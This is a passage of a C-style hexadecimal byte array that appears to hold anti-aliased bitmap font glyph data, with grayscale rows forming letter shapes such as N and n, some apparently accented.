0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xE0, 0xE2, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0x86, 0x0A,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x60, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x1D, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00,
0x96, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x6C, 0x00, 0x00, 0x00, 0xB3, 0xC8, 0xC8, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x3F, 0x32, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x8C, 0xA2, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6A, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x15, 0x00, 0x0A, 0x89, 0xFD, 0xFF, 0xFF, 0xD8,
0x3F, 0x00, 0x00, 0x49, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0xE0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0xE0, 0xEC, 0x66, 0xEE, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x67, 0x12, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x8A, 0x8A, 0x8A, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF, 0xF3, 0x36,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C,
0xFF, 0xFF, 0xF9, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3F, 0xFE, 0xFF, 0xFD, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD9, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xA6, 0xA6, 0x68,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xC8, 0xC8, 0xC8, 0xB4, 0x06, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC8, 0xC8, 0xC7, 0x18, 0x9B, 0xFF,
0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF,
0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF,
0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xF1, 0xAB, 0xFF, 0xFF, 0xFF, 0x9B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1,
0x19, 0xEF, 0xFF, 0xFF, 0xFE, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xD4, 0x05, 0x00, 0x00, 0x00, 0x00,
0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x01, 0xC3, 0xFF, 0xFF, 0xFF,
0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00,
0x00, 0x29, 0xF9, 0xFF, 0xFF, 0xF6, 0x22, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25,
0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x07, 0xD7, 0xFF, 0xFF,
0xFF, 0x58, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00,
0x00, 0x00, 0x3D, 0xFE, 0xFF, 0xFF, 0xE7, 0x10, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B,
0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE7, 0xFF,
0xFF, 0xFE, 0x39, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0xD1, 0x04, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF,
0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xFF, 0xFF, 0xFF, 0x76, 0x63, 0xFF,
0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF3,
0xFF, 0xFF, 0xF5, 0x83, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF,
0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F,
0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF,
0x25, 0x96, 0xFF, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0D, 0x10, 0x10, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C,
0xFA, 0xFF, 0xFF, 0xF0, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC6,
0xFF, 0xFF, 0xF7, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF,
0xFF, 0xFB, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xF1, 0xFF,
0xFE, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA4, 0xFF, 0xFF,
0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x20, 0x1E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x2C, 0x2C, 0x05, 0x00, 0x00, 0x1B, 0x53, 0x87,
0x7A, 0x44, 0x10, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0x3A, 0x3D, 0xD5, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFE, 0x99, 0x01, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0x95, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0xA1, 0x9F,
0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0x49, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x8F, 0x09, 0x00, 0x00,
0x01, 0xA1, 0xFF, 0xFF, 0xFF, 0x98, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0xF5, 0xFF, 0xFF, 0xC0, 0x01, 0xFF, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xD3, 0x01, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xE1, 0x01, 0xFB, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x88, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xB9, 0xB9, 0x84, 0x00,
0x00, 0x00, 0x83, 0xB9, 0xB9, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1E, 0xF0, 0xFF, 0xFF, 0x51, 0x00, 0x51, 0xFF, 0xFF, 0xF2, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xEC, 0x32, 0xEB, 0xFF, 0xFF, 0x5E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0xE3, 0xFF, 0xFF, 0xFF, 0xE3, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x77, 0x77, 0x77, 0x34, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x74, 0xC8, 0xC8, 0xC8, 0xB4, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC8, 0xC8, 0xC7, 0x18, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF,
0xFF, 0xFF, 0xFF, 0xF7, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF,
0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF,
0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xF1, 0xAB, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x19, 0xEF, 0xFF, 0xFF, 0xFE,
0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1,
0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xD4, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x01, 0xC3, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00,
0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x29, 0xF9, 0xFF, 0xFF,
0xF6, 0x22, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00,
0x00, 0x00, 0x80, 0xFF, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25,
0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x07, 0xD7, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00,
0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFE, 0xFF,
0xFF, 0xE7, 0x10, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B,
0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE7, 0xFF, 0xFF, 0xFE, 0x39, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF,
0xFF, 0xFF, 0xD1, 0x04, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB3, 0xFF, 0xFF, 0xFF, 0x76, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF,
0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF3, 0xFF, 0xFF, 0xF5, 0x83, 0xFF,
0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF,
0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x96, 0xFF, 0xFF, 0xEC,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF,
0x20, 0x00, 0x00, 0x00, 0x00, 0x16, 0x25, 0x25, 0x0F, 0x00, 0x00, 0x00, 0x17, 0x25, 0x25, 0x0E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xC9, 0x04, 0x00, 0x18, 0xEB, 0xFF, 0xFF, 0x56,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xD6, 0xFF, 0xFF, 0x81, 0x01, 0xB7, 0xFF, 0xFF, 0xAB, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xF9, 0xFF, 0xFC, 0xA6, 0xFF, 0xFF, 0xE4, 0x12, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x43, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC1, 0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x0B, 0x0B, 0x0B, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x28, 0x2C, 0x2C, 0x05, 0x00, 0x00, 0x1B, 0x53, 0x87, 0x7A, 0x44, 0x10, 0x00, 0x00,
0x00, 0x01, 0xFF, 0xFF, 0xFF, 0x3A, 0x3D, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x99, 0x01,
0x00, 0x01, 0xFF, 0xFF, 0xFF, 0x95, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97,
0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDD, 0xA1, 0x9F, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF,
0x49, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x8F, 0x09, 0x00, 0x00, 0x01, 0xA1, 0xFF, 0xFF, 0xFF,
0x98, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xF5, 0xFF, 0xFF,
0xC0, 0x01, 0xFF, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0xFF, 0xFF,
0xD3, 0x01, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF,
0xE1, 0x01, 0xFB, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF,
0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xF8, 0xF8, 0xF8, 0xBE, 0x00,
0xB8, 0xF8, 0xF8, 0xF8, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBB, 0xFF, 0xFF, 0xF2, 0x27, 0x34, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0xAD, 0xFF, 0xFF, 0xCD, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0x8A, 0x00, 0x27, 0xFD, 0xFF, 0xEF, 0x21, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFD, 0xFF, 0xBE,
0x03, 0x00, 0x9B, 0xFF, 0xFE, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x41, 0x41, 0x11, 0x00, 0x00, 0x2A, 0x41, 0x35, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
